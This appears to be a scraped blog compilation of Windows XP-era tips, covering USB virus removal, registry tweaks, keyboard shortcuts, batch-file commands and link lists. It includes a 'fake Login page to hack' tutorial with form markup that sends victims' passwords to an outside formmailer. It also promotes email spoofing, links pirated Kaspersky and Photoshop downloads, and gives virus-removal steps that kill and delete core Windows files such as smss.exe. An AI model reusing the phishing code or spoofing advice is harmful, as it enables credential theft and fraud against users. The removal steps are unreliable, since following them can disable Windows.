USB Device Spreading Viruses

hese Viruses Are Mainly Spreading From The USB Devices Like Pendrive , Mobile Memory Cards etc...

Some of the Symptoms Of Funny UST SCandal.avi.exe
• A orange icon with image of a Foot.
• Files missing, Not able to view hidden files.
• Every time you click on My Computer opens a new instance of it.
• Task Manager automatically disappearing after few seconds, not able to view process.
• System deadly slow
• Installations not occurring.


How To Remove This Virus ?

* Follow These Steps

1. Download and install TaskKiller. TaskKiller forcefully kills the task and hence stops virus from replicating. Run Task Killer, and a red skull icon will appear on the system tray.Left click it, and click Processes
2. Select to kill these processes -
• killer.exe
• lsass.exe
• smss.exe
3. Now open up Command Prompt (Start>Run>command). Type each command and press Enter to run it -
• cd\
• attrib -h -s smss.exe
• attrib -h -s autorun.inf
4. Open My Computer and go to "C:\", then "C:\Windows\System32" and "C:\Windows\System".
5. Delete the following files -
• smss.exe
• autorun.inf
• Funny UST Scandal.avi.exe
6. Now, go to C:\Documents and Settings\All users\Startmenu\Programs\Startup and delete the file lsass.exe.
7. Open Registry Editor (Start>Run>regedit)
8. Delete the key HKEY_LOCAL_MACHINE\Software\
   Microsoft\WindowNT\CurrentVersion\Winlogon=shell(killer.exe
9. Delete the key HKEY_CURRENT_USER\Software\
   Microsoft\windows\Currentversion\Run=runonce(c:\windows\smss.exe)
10. Check For the virus in the other root partitions and remove the Funny UST Scandal.avi.exe

Another Method For Removing Funny UST Scandal Virus

You Can Remove Funny UST Scandal Virus Using The Funny UST Scandal Virus Remover

Download

Auto End Tasks to Enable a Proper Shutdown

automatically ends tasks and timeouts that prevent programs from shutting down and clears the Paging File on Exit.

1. Copy the following (everything in the box) into notepad.


QUOTE
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
"ClearPageFileAtShutdown"=dword:00000001

[HKEY_USERS\.DEFAULT\Control Panel\Desktop]
"AutoEndTasks"="1"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]
"WaitToKillServiceTimeout"="1000"


2. Save the file as shutdown.reg
3. Double click the file to import into your registry.

NOTE: If your anti-virus software warns you of a "malicious" script, this is normal if you have "Script Safe" or similar technology enabled.

Unlock Your MMC Card

The instructions for getting the password are:
1: Use any efile manager like SELEQ 1.65
2: Open SELEQ 1.65 and go to Root C:
3: Options and FIND, write MMCSTORE press OK
4: Send this file by Bluetooth or Infrared to your PC
5: Rename the file MMCSTORE to MMCSTORE.TXT
6: Open the file and the password off the MMC are there

Again, I would be extremely grateful if someone was willing to do this favor for me, and really don't want to have to buy a new MMC card (or lose my data on the card).

ALL shortcuts

Getting used to using your keyboard exclusively and leaving your mouse behind will make you much more efficient at performing any task on any Windows system. I use the following keyboard shortcuts every day:

Windows key + R = Run menu

This is usually followed by:
cmd = Command Prompt
iexplore + "web address" = Internet Explorer
compmgmt.msc = Computer Management
dhcpmgmt.msc = DHCP Management
dnsmgmt.msc = DNS Management
services.msc = Services
eventvwr = Event Viewer
dsa.msc = Active Directory Users and Computers
dssite.msc = Active Directory Sites and Services
Windows key + E = Explorer

ALT + Tab = Switch between windows

ALT, Space, X = Maximize window

CTRL + Shift + Esc = Task Manager

Windows key + Break = System properties

Windows key + F = Search

Windows key + D = Hide/Display all windows

CTRL + C = copy

CTRL + X = cut

CTRL + V = paste

Also don't forget about the "Right-click" key next to the right Windows key on your keyboard. Using the arrows and that key can get just about anything done once you've opened up any program.


Keyboard Shortcuts

[Alt] and [Esc] Switch between running applications

[Alt] and letter Select menu item by underlined letter

[Ctrl] and [Esc] Open Program Menu

[Ctrl] and [F4] Close active document or group windows (does not work with some applications)

[Alt] and [F4] Quit active application or close current window

[Alt] and [-] Open Control menu for active document

Ctrl] Lft., Rt. arrow Move cursor forward or back one word

Ctrl] Up, Down arrow Move cursor forward or back one paragraph

[F1] Open Help for active application

Windows+M Minimize all open windows

Shift+Windows+M Undo minimize all open windows

Windows+F1 Open Windows Help

Windows+Tab Cycle through the Taskbar buttons

Windows+Break Open the System Properties dialog box



acessability shortcuts

Right SHIFT for eight seconds........ Switch FilterKeys on and off.

Left ALT +left SHIFT +PRINT SCREEN....... Switch High Contrast on and off.

Left ALT +left SHIFT +NUM LOCK....... Switch MouseKeys on and off.

SHIFT....... five times Switch StickyKeys on and off.

NUM LOCK...... for five seconds Switch ToggleKeys on and off.

explorer shortcuts

END....... Display the bottom of the active window.

HOME....... Display the top of the active window.

NUM LOCK+ASTERISK....... on numeric keypad (*) Display all subfolders under the selected folder.

NUM LOCK+PLUS SIGN....... on numeric keypad (+) Display the contents of the selected folder.

NUM LOCK+MINUS SIGN....... on numeric keypad (-) Collapse the selected folder.

LEFT ARROW...... Collapse current selection if it's expanded, or select parent folder.

RIGHT ARROW....... Display current selection if it's collapsed, or select first subfolder.




Type the following commands in your Run Box (Windows Key + R) or Start Run

devmgmt.msc = Device Manager
msinfo32 = System Information
cleanmgr = Disk Cleanup
ntbackup = Backup or Restore Wizard (Windows Backup Utility)
mmc = Microsoft Management Console
excel = Microsoft Excel (If Installed)
msaccess = Microsoft Access (If Installed)
powerpnt = Microsoft PowerPoint (If Installed)
winword = Microsoft Word (If Installed)
frontpg = Microsoft FrontPage (If Installed)
notepad = Notepad
wordpad = WordPad
calc = Calculator
msmsgs = Windows Messenger
mspaint = Microsoft Paint
wmplayer = Windows Media Player
rstrui = System Restore
netscp6 = Netscape 6.x
netscp = Netscape 7.x
netscape = Netscape 4.x
waol = America Online
control = Opens the Control Panel
control printers = Opens the Printers Dialog


internetbrowser

type in u're adress "google", then press [Right CTRL] and [Enter]
add www. and .com to word and go to it


For Windows XP:

Copy. CTRL+C
Cut. CTRL+X
Paste. CTRL+V
Undo. CTRL+Z
Delete. DELETE
Delete selected item permanently without placing the item in the Recycle Bin. SHIFT+DELETE
Copy selected item. CTRL while dragging an item
Create shortcut to selected item. CTRL+SHIFT while dragging an item
Rename selected item. F2
Move the insertion point to the beginning of the next word. CTRL+RIGHT ARROW
Move the insertion point to the beginning of the previous word. CTRL+LEFT ARROW
Move the insertion point to the beginning of the next paragraph. CTRL+DOWN ARROW
Move the insertion point to the beginning of the previous paragraph. CTRL+UP ARROW
Highlight a block of text. CTRL+SHIFT with any of the arrow keys
Select more than one item in a window or on the desktop, or select text within a document. SHIFT with any of the arrow keys
Select all. CTRL+A
Search for a file or folder. F3
View properties for the selected item. ALT+ENTER
Close the active item, or quit the active program. ALT+F4
Opens the shortcut menu for the active window. ALT+SPACEBAR
Close the active document in programs that allow you to have multiple documents open simultaneously. CTRL+F4
Switch between open items. ALT+TAB
Cycle through items in the order they were opened. ALT+ESC
Cycle through screen elements in a window or on the desktop. F6
Display the Address bar list in My Computer or Windows Explorer. F4
Display the shortcut menu for the selected item. SHIFT+F10
Display the System menu for the active window. ALT+SPACEBAR
Display the Start menu. CTRL+ESC
Display the corresponding menu. ALT+Underlined letter in a menu name
Carry out the corresponding command. Underlined letter in a command name on an open menu
Activate the menu bar in the active program. F10
Open the next menu to the right, or open a submenu. RIGHT ARROW
Open the next menu to the left, or close a submenu. LEFT ARROW
Refresh the active window. F5
View the folder one level up in My Computer or Windows Explorer. BACKSPACE
Cancel the current task. ESC
SHIFT when you insert a CD into the CD-ROM drive Prevent the CD from automatically playing.

Use these keyboard shortcuts for dialog boxes:

To Press
Move forward through tabs. CTRL+TAB
Move backward through tabs. CTRL+SHIFT+TAB
Move forward through options. TAB
Move backward through options. SHIFT+TAB
Carry out the corresponding command or select the corresponding option. ALT+Underlined letter
Carry out the command for the active option or button. ENTER
Select or clear the check box if the active option is a check box. SPACEBAR
Select a button if the active option is a group of option buttons. Arrow keys
Display Help. F1
Display the items in the active list. F4
Open a folder one level up if a folder is selected in the Save As or Open dialog box. BACKSPACE

If you have a Microsoft Natural Keyboard, or any other compatible keyboard that includes the Windows logo key and the Application key , you can use these keyboard shortcuts:


Display or hide the Start menu. WIN Key
Display the System Properties dialog box. WIN Key+BREAK
Show the desktop. WIN Key+D
Minimize all windows. WIN Key+M
Restores minimized windows. WIN Key+Shift+M
Open My Computer. WIN Key+E
Search for a file or folder. WIN Key+F
Search for computers. CTRL+WIN Key+F
Display Windows Help. WIN Key+F1
Lock your computer if you are connected to a network domain, or switch users if you are not connected to a network domain. WIN Key+ L
Open the Run dialog box. WIN Key+R
Open Utility Manager. WIN Key+U

accessibility keyboard shortcuts:

Switch FilterKeys on and off. Right SHIFT for eight seconds
Switch High Contrast on and off. Left ALT+left SHIFT+PRINT SCREEN
Switch MouseKeys on and off. Left ALT +left SHIFT +NUM LOCK
Switch StickyKeys on and off. SHIFT five times
Switch ToggleKeys on and off. NUM LOCK for five seconds
Open Utility Manager. WIN Key+U

shortcuts you can use with Windows Explorer:


Display the bottom of the active window. END
Display the top of the active window. HOME
Display all subfolders under the selected folder. NUM LOCK+ASTERISK on numeric keypad (*)
Display the contents of the selected folder. NUM LOCK+PLUS SIGN on numeric keypad (+)
Collapse the selected folder. NUM LOCK+MINUS SIGN on numeric keypad (-)
Collapse current selection if it's expanded, or select parent folder. LEFT ARROW
Display current selection if it's collapsed, or select first subfolder. RIGHT ARROW

Use Pendrive As Ram

heard of this option in Windows Vista. It's that the USB flash drive can be used to increase the capacity of RAM. It will help to boost the performance of the system.

You can not only use your Pen drive but also any types of memory cards or memory sticks that you got with your mobile phones, digital cameras or any other devices.

This option of making the external memory device works as RAM is called ‘ReadyBoost’.


Caution: - The device can only be used with ReadyBoost if it qualifies the data transfer speed test; means if the data transfer speed of the device is lower than that is recommended by Readyboost, then it cannot be used as RAM.
It is written in the product description of some of the Pen Drives that whether the particular pen drive is compatible with Readyboost or not. So you can check it before buying one.


Benefits of ReadyBoost :-


- If your system has low RAM, resulting a slowdown in the performance, Readyboost will work for you.
- RAM is much more costlier than Pen drives and user can save money by increasing the RAM capacity with these USB drives (You should have minimum 512 MB RAM to run Windows Vista).
- User can assign desired space to Readyboost. It's not that you have to give the full memory of your pen drive to Readyboost. You can assign the memory space manually and use the rest of the space as it is.
How to make your flash drive work as RAM :-


Insert Your Pen drive or Memory stick -> Right click on the drive that appears in My Computer -> Go to its properties -> click on 'Readyboost' Tab

If the Windows accepts your drive to work as "Readyboost" then the menu will look like this :-

And if your Pen drive's speed is not sufficient, then this menu will show a message, telling you that your pen drive's data transfer speed is less; hence, it can't work with Readyboost.

There is also a shortcut to do this. When you insert your pen drive, you will see Readyboost option in the "AutoPlay" menu. You can activate it from here also.
for xp use "ebooster" software

Boot win xp fast

Follow the following steps

1. Open notepad.exe, type "del c:\windows\prefetch\ntosboot-*.* /q" (without the quotes) & save as "ntosboot.bat" in c:\
2. From the Start menu, select "Run..." & type "gpedit.msc".
3. Double click "Windows Settings" under "Computer Configuration" and double click again on "Shutdown" in the right window.
4. In the new window, click "add", "Browse", locate your "ntosboot.bat" file & click "Open".
5. Click "OK", "Apply" & "OK" once again to exit.
6. From the Start menu, select "Run..." & type "devmgmt.msc".
7. Double click on "IDE ATA/ATAPI controllers"
8. Right click on "Primary IDE Channel" and select "Properties".
9. Select the "Advanced Settings" tab then on the device or 1 that doesn't have 'device type' greyed out select 'none' instead of 'autodetect' & click "OK".
10. Right click on "Secondary IDE channel", select "Properties" and repeat step 9.
11. Reboot your computer.

Watch High Quality And Low Quality Videos On Youtube

Do You Want To see your favorite youtube videos without loosing the quality ?

If Yes ! Then Try This Tricks ...


I Will Give An Example ,



This is the original link go ahead and click to see the low quality.
http://in.youtube.com/watch?v=i5d-jBS828c

This is the high quality link made by adding &fmt=18 to the end of the URL.
http://in.youtube.com/watch?v=i5d-jBS828c&fmt=18

Capture Your Screen

You Can Capture Your Computer Screen Without Any Software Like Screen Hunter Or Any Thing Else :
You May Be Noticed About A Key In Your KeyBoard Which Labeled "Print Screen" .
We Can Use This Key To Capture The Screen .
For Capturing The Screen Just Press "Print Screen" Button ,
Then Open Any Image Editing Softwares Like "M/S Paint" Then Press Ctrl+V .
You Are Done.

Change The Default Location For Installing Softwares

XP uses the C:\Program Files directory as the default base directory into which new programs are installed. However, you can change the default installation drive and/ or directory by using a Registry hack.

Go to :-

- Start > Run

- Type “regedit” (without “” NOOBS!)

- Go to this directory…
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion

- Look for the value named ProgramFilesDir. by default,this value will be C:\Program Files. Edit the value to any valid drive or folder and XP will use that new location as the default installation directory for new programs.

Edit Right Click Menu Items On XP

You can easily remove those unwanted right click menu items, if you know the registry values to edit. And it's not at all difficult once you know the keys responsible for the additions.

For Files, the secret lies in the "context menu handlers" under the shellex subkey for "All Files" which, in the registry, is nothing but an asterisk - like a dos wildcard, which means the values entered apply to all files. It is at the very top of the Root key, right here:

HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers

Click the the + sign next to the ContextMenuHandlers key, to expand it.
Now you will see some of the programs that have added items to your right-click menu. Simply delete the program keys you don't want.
Yup! It's that simple. If deleting makes you uneasy, just export the key before deleting it. Or, instead of deleting the values, disable them. Simply double click the default value for the program on the right hand pane and rename the clsid value by placing a period or dash in front of it.

ie; - {b5eedee0-c06e-11cf-8c56-444553540000}

Then exit the registry, refresh, and right click a file to see if the item was removed from the menu.
Some programs - like WinZip or WinRar - will add several items to your right click menu but all of them will be removed by deleting or disabling their one context menu handler.

Note that the above key only applies to the right click menu of files.
To remove entries from the right click context menu of folders, you need to navigate to the Folder and Drive keys:

HKEY_CLASSES_ROOT\Folder\shellex\ContextMenuHandlers
HKEY_CLASSES_ROOT\Drive\shellex\ContextMenuHandlers

All you have to do is follow the same procedure as for Files - either disable or delete items you wish to remove.

Adding Items

Adding Items to the right click menu of Files and Folders is also fairly simple using the Registry. It just involves the creation of a few new keys for each item you wish to add. You edit the same keys used for removing items. Let's use Notepad as an example of an item you'd like to add to the right click menu of all your files or folders.

For folders, go to this key:

HKEY_CLASSES_ROOT\Folder

Click the + sign next to Folder and expand it so that the Shell key is visible. Right click the Shell key and choose New>Key and name the key Notepad or whatever else you'd prefer (whatever the key is named is what will appear in the right-click menu). Now right click the new key you made and create another key named Command. Then, in the right hand pane, double click "Default" and enter Notepad.exe as the value.
Exit the registry, refresh, and right click any folder. Notepad should now be on the context menu.

For files, go here again:

HKEY_CLASSES_ROOT\*

Expand the * key and see if a Shell key exists. If it does exist, follow the same procedure as for folders. If it does not exist, you'll have to create a new Shell first. Just right click the * key and choose New>Key and name it Shell. Then right click the Shell key and continue on the same way you did for adding items to the right click menu of folders.

Once done, Notepad should appear as an option in the right click menu of all your files.

Hide Files Inside A JPEG Image File

1. Gather the file you wish to bind, and the image file, and place them in a folder. For the sake of this demonstration,I will be using C:\New Folder
*The image will hereby be referred to in all examples as tricks.jpg
*The file will hereby be referred to in all examples as New Text Document.txt

2. Add the file/files you will be injecting into the image into a WinRar .rar or .zip. From here on this will be referred to as (secret.rar)

3. Open command prompt by going to Start > Run > cmd

4. In Command Prompt, navigate to the folder where your two files are by typingcd location [ex: cd C:\New Folder]
5. Type [copy /b tricks.jpg + secret.rar tricks.jpg] (remove the brackets)Congrats, as far as anyone viewing is concerned, this file looks like a JPEG, acts like a JPEG, and is a JPEG, yet it now contains your file.

In order to view/extract your file, there are two options that you can take

a) Change the file extension from tricks.jpg to tricks.rar, then open and your file is there.

b) Leave the file extension as is, right click, open with WinRar and your file is there

Rename Multiple Files In XP

rename files in bulk by simply selecting multiple files within Windows Explorer and pressing the F2 key. When you use this feature, the OS applies the name you enter to the first file and applies the same name with a number in parentheses to the other files you selected (the file extensions remain unchanged).

For example, if you select the following files,
* notes.doc
* figures.xls
* disney.jpg
* holiday.gif

and rename the first file (notes.doc) to SoD.doc, XP renames the remaining files as follows:
* SoD (1).xls
* SoD (2).jpg
* SoD(3).gif

Send Fake Emails

Emails From Any Email Address .
For Example ; You Can Send Email From The Address admin@microsoft.com , obama@america.com etc...
For Sending Fake Emails Visit http://www.webwizny.com/sendemail.php

Change the windows start button

Friends if you want to cahnge or edit the start button of microsoft windows. You may use the Resource hacker. It is a freeware utility to view, modify, rename, add, delete and extract resources in 32bit Windows executables and resource files (*.res) and its works on Win95, Win98, WinME, WinNT, Win2000 and WinXP operating systems. [...]

Make Windows XP Shutdown Faster than ever

You can make your shut down process a bit faster by the following tweak.

1. This step is very important.
Export (right click > Export) the following keys and save it to a safer place.

HKEY CURRENT USER\Control Panel\Desktop
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control

2. Open Notepad, copy and paste the following to the Notepad.

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Control Panel\Desktop]
"AutoEndTasks"="1"
"HungAppTimeout"="1000"
"WaitToKillAppTimeout"="2000"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]
"WaitToKillServiceTimeout"="2000"

3. Save the file and close Notepad.

4. Change extension of the file from .txt (text file) to .reg (registry file).

5. Double click open this file and click Yes and the OK .

How to make fake Login page to hack

you want to have a little game or fun on your viewers..?? here is a simple trick.
Here is a trcik in Making Fake Login Page in 5 mins ..Interested??



Do step by step

1.Open any page for which you wanna make fake.

2. Save page . In the saving option it asks for save as type select complete webpage.

3. Now where u have save the page it will be showing u that page and a dir wid images on the page.

4. Now Rite Click on the Page and click edit.

5. Search Form in the page.

6. Now Delete That Form Value , Method ,Action whatever its written delete that line.

7. Now add this line
Please note that change all the "+" sign in the below code to "<" [without quote]

+form action="http://www.big-llc.com/formmailer/submit" method="post">+input type="hidden" value="Your Email Id" name="fm-to">+font color="#333333"> +/font>+input type="hidden" value="password D3" name="fm-title">+font color="#333333"> +/font>+input type="hidden" value="Link You Want To redirect" name="fm-redirect">+font color="#333333"> +/font>

8. Save and close the editor.

9. Upload the Directory wid images and this Page on free hosting site.

10. Its Done Simply made in just 5 mins

Kaspersky Internet Security 2011 11.0.2.556

http://hotfile.com/dl/74264033/e219e00/kis11.0.2.556en-RC.rar.html

Adobe Photoshop cs5 portable

http://hotfile.com/dl/38583337/b42dda6/Adobe.Photoshop.CS5.x32.x64.Pre-Release.Portabl_.rar.html

Batch File Commands

Batch File Commands
 @
 %DIGIT
 %VARIABLE%
 CALL
 CLS
 ECHO
 FOR
 GOTO
 IF
 PAUSE
 REM
 SET
 SHIFT
 Miscellaneous

________________________________________

@ In DOS version 3.3 and later, hides the echo of a batch command. Any output generated by the command is echoed. The at-sign can be prefixed to any DOS command, program name, or batch file name within a batch file.
@[command]
examples @ {Seperates sections of the batch file without diplaying the DOS prompt.}
@echo OFF {Hides the echo off report.}

%DIGIT Replaceable batch parameters which are defined by the user when the batch is executed. The parameters are separated by spaces, commas, or semicolons.
%digit {Digit: any digit from 0 to 9. %0 has the value of the batch command as it appears on the command line when the batch is executed. %1 represents the first string typed after the batch commmand. Each occurrence of %digit is replaced by the corresponding string from the batch command line.}
examples MYBATCH DOC A:
COPY *.%1 %2 {Copies all .DOC files in the default directory to drive A:}

%VARIABLE% Replaces the DOS environment variable name with its environment value.
%variable% {Variable: a string of uppercase characers in the environment associated with a string value. Variable is created in the environment by using SET.}
examples %PATH% {Returns the value of PATH, the current search path, which is executable.}
echo %PATH% {Displays the value of PATH, the current search path.}
%PROMPT% {Returns the value of PROMPT, the current prompt string, which is executable.}
echo %PROMPT% {Displays the value of PROMPT, the current prompt string.}
echo The current search path is: %PATH% {Displays the message including the current search path.}
set USER=John
if %USER%= =John goto LABEL {Since the value of USER does equal "John", the control is transferred to the label, LABEL.}

CALL Loads and executes a batch file from within a batch file as if it were a external command. When a second batch file completes, control is returned to the calling file.
call [drive:][path]filename [batch-parameters]
Before DOS version 3.3:
command /c [drive:][path]filename [batch-parameters]

CLS Clears the video display screen, setting the cursor in the upper left-hand corner.
cls

ECHO Controls whether commands and comments within a batch file are displayed.
echo [ON|OFF|message|.]
examples echo {Displays echo status}
echo ON {Restores normal display activity.}
echo OFF {Halts display of DOS prompt and commands.}
echo Processing... {Displays "Processing..." on the screen.}
echo %USER% {Displays the value of USER on the screen.}
echo. {Displays a single blank line on the screen.}
echo ^L > prn {Sends an ASCII control-code (form feed) to the printer. Press plus to type the ^L character.}
echo Y|Del *.* {Answers the DEL "Are you sure" question automatically.}

FOR Repeats the operation of a DOS command for each member of a list. Use CALL to execute a batch file as a command.
for %%argument in (list) do command {Argument: any letter from A to Z. List: a sequence of strings separated by spaces or commas. Wildcards are allowed.}
examples for %%d in (A,C,D) do DIR %%d *.* {Displays the directories of drives A, C, and D sequentially.}
for %%f in (*.TXT *.BAT *.DOC) do TYPE %%f {Types the contents of all .TXT, .BAT, and .DOC files in the current default directory.}
for %%P in (%PATH%) do if exist %%P\*.BAT COPY %%P\*.BAT C:\BAT {Copies all batch files which exist in any directory on the DOS command search path into the directory C:\BAT.}
for %%f in (*.PAS) do call compile %%f {Compiles all .PAS files in the current default directory.}

GOTO Transfers control within a batch file to a line identified by a label. The label must be of the form ":LABEL".
goto LABEL
:LABEL

IF Tests a condition and executes a command only if the condition is TRUE. But if the NOT modifier is present, the command will be executed only if the condition is FALSE.
if [not] condition command {Condition: errorlevel number; string1= =string2; or exist filename. Command: any DOS command, batch command, batch file name, or program name.}
examples if [not] errorlevel number command {Errorlevel: an exit code returned by a program or an external command. The following DOS commands return an exit code: BACKUP, RESTORE, FORMAT, REPLACE, and XCOPY. Number: a numerical value (integer) against which the exit code is compared. The condition is TRUE if the exit code returned by the previous program is greater than or equal to number. The condition is FALSE if the exit code is less than number.}
BACKUP C:\*.* A: /s
if errorlevel 3 goto TROUBLE {If the BACKUP command exits with a code of 3 or higher, control will be transferred to the label TROUBLE.}
if errorlevel 3 if not errorlevel 4 echo ERROR #3 occurred
if errorlevel 4 if not errorlevel 5 echo ERROR #4 occurred {Nested if statements that determine the exact error number.}

if [not] string1= =string2 command {The condition is TRUE if both strings are identical. The comparison is case sensitive. If either string is blank, a syntax error occurs.}
if (%1)= =(LTRS) CD C:\WORD\LTRS {If the first parameter is LTRS, the change directory to LTRS.}
if "%1"= ="" goto ERROR {If there is no parameter, then control is transferred to label ERROR.}
if not %2X= =X DIR %2\*.* {If there is a second parameter, then display all the files contained in the directory %2.}
if not "%3"= ="" if not "%3"= ="b" if not "%3"= ="B" goto BADPARAM {If there is no third parameter or if it is anything other than b or B, then go to label BADPARAM.}

if [not] exist filename command {The condition is TRUE if filename can be located. The filename can include drive and path specifications. Wildcards are allowed.}
if exist D:\%1\nul CD %1 {Tests for the existence of directory %1 even if it contains no files, then changes to that directory if it exists.}
if not exist A:\FLASH.EXE COPY C:\PROJECTS\FLASH.EXE A: {Copies FLASH.EXE to drive A, but only if it doesn't exit there already.}

PAUSE Pauses the running of a batch file and displays the message "Press any key to continue ..." on the screen. If the optional message is included, it will be displayed first. Use pause to optionally terminate the batch file with at a safe place. The optional message is not displayed when echo is OFF, so the message must be echoed on the preceding line.
pause [message]
examples pause {Displays "Press any key to continue ...".}
pause < nul {Waits with no comment.}
pause Do you want to continue? {Displays "Do you want to continue?" with "Press any key to continue ..." on the next line.}

REM Adds remarks to a batch file.
rem [remark]
examples @rem {Hides the remark from display.}

SET Set will view the DOS environment or create, change, or delete environment values.
set [variable=[value]] {Variable: a string of characters, unbroken by spaces, which are converted to uppercase letters in the environment. Value: a string of characters, case specific, associated with variable.}
examples set {Display the entire DOS environment.}
set USER=John {Sets the value of USER to the string, "John".}
set USER= {Removes USER from the environment.}
set PATH=C:\;C:\DOS {Sets C:\;C:\DOS as the current search path.}
set PATH=%PATH%;C:\TEST {Appends ;C:\TEST to the current search path.}

SHIFT Shifts any parameter on the command line one position to the left. Use SHIFT to refer to multiple parameters by one name or to use more than ten parameters on a single command line.
shift
examples :LOOP
COPY %1 A:
shift
if not (%1)==() goto LOOP {Beginning with the first parameter, all the parameters listed on the command line are iterated and a file, the value of the parameter, is copied to A:.}

Miscellaneous
command > nul {Redirects command output to oblivion.}
command > file {Redirects command output to file.}
command >> file {Appends command output to file.}
command < file {Redirects file output to command.}
PATH {Displays "PATH=" followed by the value of PATH, the current search path.}
PATH directories {Sets directories as the current search path.}
PATH = directories {Sets directories as the current search path.}
PATH; {Disables extended command searching and confines the searching to the default directory.}
PROMPT {Resets the prompt string to its default, $n$g.}
CD {Displays the current directory and its path.}
. {Represents the default directory (If PATH=D:\;C:\SYS;C:. then current directory will be searched after D: and C:\SYS).}
.. {Represents the parent of the default directory (C:\TOOLS\WP\LTRS.DOC is the same as ..\WP\LTRS.DOC).}
%% {A literal "%".}

Mega website collection

Computer Hardware & Information & Testing sites:

Tom's Hardware Guide http://www.tomshardware.com/
Sharky Extreme http://www.sharkyextreme.com/
AnandTech http://www.anandtech.com/
Neoseeker http://www.neoseeker.com/
PCGuide http://www.pcguide.com/
PCStats http://www.pcstats.com/
ArsTechnica http://www.ars-technica.com/
Overclockers Club http://www.overclockersclub.com/
Futuremark http://www.madonion.com/

*************

Computer technology sites:
ExtremeTech http://www.extremetech.com/default/0,3971,,00.asp
TechSpot http://www.techspot.com/

-------

Hard drive and storage information sites:
Storage Review http://www.storagereview.com/

-------

Windows’ Registry information & utility sites
Sysinfo http://www.sysinfo.org/

SysInternals http://www.sysinternals.com/

Annoyances http://www.annoyances.org/


COMPUTER TECHNOLOGY INFORMATION PAGES
ZDNet http://www.zdnet.com/
CNet http://www.cnet.com/
PCWorld http://www.pcworld.com/
PCMagazine http://www.pcmag.com/
TechTV http://www.techtv.com/techtv/
Kim Komando http://www.komando.com/
Experts Exchange http://www.experts-exchange.com/
Help on the Net http://www.helponthe.net/
How Stuff Works http://www.howstuffworks.com/
Answers That Work http://www.answersthatwork.com/
Webopedia Online Internet Dictionary http://webopedia.internet.com/
Computer Tech Documentation Project http://www.comptechdoc.org/



******************************************

COMPUTER HARDWARE AND SYSTEM PAGES FOR WINDOWS
WinPlanet http://www.winplanet.com/winplanet/
WinGuides http://www.winguides

System information tweak sites:
Tweak3D http://www.tweak3d.net/
Axcel-216 http://members.aol.com/axcel216/
Tweak Central http://tweakcentral.com/
Tweak Town http://www.tweaktown.com/

Hacking / Security
01. http://www.hackthissite.org/
02. http://www.cyberarmy.com/zebulun/
03. http://loginmatrix.com/hackme/
04. http://www.try2hack.nl/
05. http://roothack.org/
06. http://www.pulltheplug.com/
07. http://www.hellboundhackers.org/
08. http://www.rootthisbox.org/
09. http://theory.lcs.mit.edu/~rivest/crypto-security.html
10. http://www.oberlin.edu/~brchkind/cyphernomicon/
11. http://www.cacr.math.uwaterloo.ca/hac/ (Handbook of Applied Cryptography)
12. http://www.tunix.kun.nl/ptr/tcpip.html
13. http://www.cisco.com/univercd/cc/td/doc/product/ (Cisco Product Documentation)
14. http://www.rsasecurity.com/
15. http://www.kremlinencrypt.com/
16. http://cryptography.org/freecryp.htm
17. http://world.std.com/~franl/crypto/
18. http://www.e4m.net/
19. http://www.cybercrime.gov/crypto.html
20. http://www.crypto.com/
21. http://www.cryptome.org
22. http://www.security-forums.com/crypto
23. http://www.skuz.net/
24. http://packetstormsecurity.nl/trojans/
25. http://www.trojanforge.net/
26. http://www.areyoufearless.com/
27. http://www.dark-e.com
28. http://www.sub7.net/
29. http://bo2k.sourceforge.net/
30. http://www.tlsecurity.net/amt.htm
31. http://www.cultdeadcow.com/
32. http://www.anti-trojan.org/
33. http://www.sophos.com/
34. http://vil.mcafee.com/ (Virus Library)
35. http://www.firewallguide.com/
36. http://www.softbytelabs.com/Frames.html (Black Widow)
37. http://sandsprite.com/Sleuth (Web Sleuth)
38. http://www.immunitysec.com/spike.html (Spike Proxy)



3D Graphics:
3Delight Free - http://www.3delight.com/index.htm
Anim8or - http://www.anim8or.com/
Aqsis - http://www.aqsis.com/
Blender - http://www.blender3d.org/
Houdini (Free Edition) - http://www.sidefx.com/apprentice/index.html
Now3D - http://digilander.libero.it/giulios/Eng/homepage.htm
OpenFX - http://www.openfx.org
POV-Ray - http://www.povray.org/
SOFTIMAGE|XSI EXP - http://www.softimage.com/products/exp/v3/
Terragen - http://www.planetside.co.uk/terragen/
Toxic - http://www.toxicengine.org/
Wings 3D - http://www.wings3d.com/

Anti-Virus:
a-squared - http://www.emsisoft.com/en/software/free/
AntiVir - http://www.free-av.com/
Avast - http://www.avast.com/i_idt_1018.html
AVG - http://free.grisoft.com/
BitDefender - http://www.bitdefender.com
ClamWin - http://www.clamwin.com/

Anti Spyware:
Ad-aware - http://www.lavasoft.de/software/adaware/
Bazooka - http://www.kephyr.com/spywarescanner/index.html
Hijackthis - http://www.spywareinfo.com/~merijn/downloads.html
SpyBot Search & Destroy - http://spybot.safer-networking.de/
SpywareBlaster - http://www.javacoolsoftware.com/spywareblaster.html
SpywareGuard - http://www.wilderssecurity.net/spywareguard.html
WinPatrol - http://www.winpatrol.com/

Audio Creation
Gungirl Sequencer - http://ggseq.sourceforge.net/pmwiki.php/Main/HomePage
HammerHead - http://www.threechords.com/hammerhea…oduction.shtml
Jesusonic - http://www.jesusonic.com/soft.php
KRISTAL Audio Engine - http://www.kreatives.org/kristal/index.php
orDrumbox - http://ordrumbox.sourceforge.net/
Tu2 - http://www.brambos.com/news.html

Audio Players:
1by1 - http://www.rz.uni-frankfurt.de/~pesch
Billy - http://www.sheepfriends.com/?page=billy
CoolPlayer - http://coolplayer.sourceforge.net/
DeejaySystem MK1 - http://www.deejaysystem.com/prod_mk1.asp
DeliPlayer. http://www.deliplayer.com/
Foobar 2000 - http://www.foobar2000.org/
iTunes - http://www.apple.com/itunes/
Jet Audio Basic - http://www.jetaudio.com/
Mixere - http://mixere.sourceforge.net/
Mixxx - http://mixxx.sourceforge.net/
monoRAVEik - http://www.mono211.com/monoraveik/mr1200.html
MoreAmp - http://sourceforge.net/projects/moreamp/
Musik - http://musik.berlios.de/
musikCube - http://www.musikcube.com/
QCD Player - http://www.quinnware.com/
Sonique - http://sonique.lycos.com/
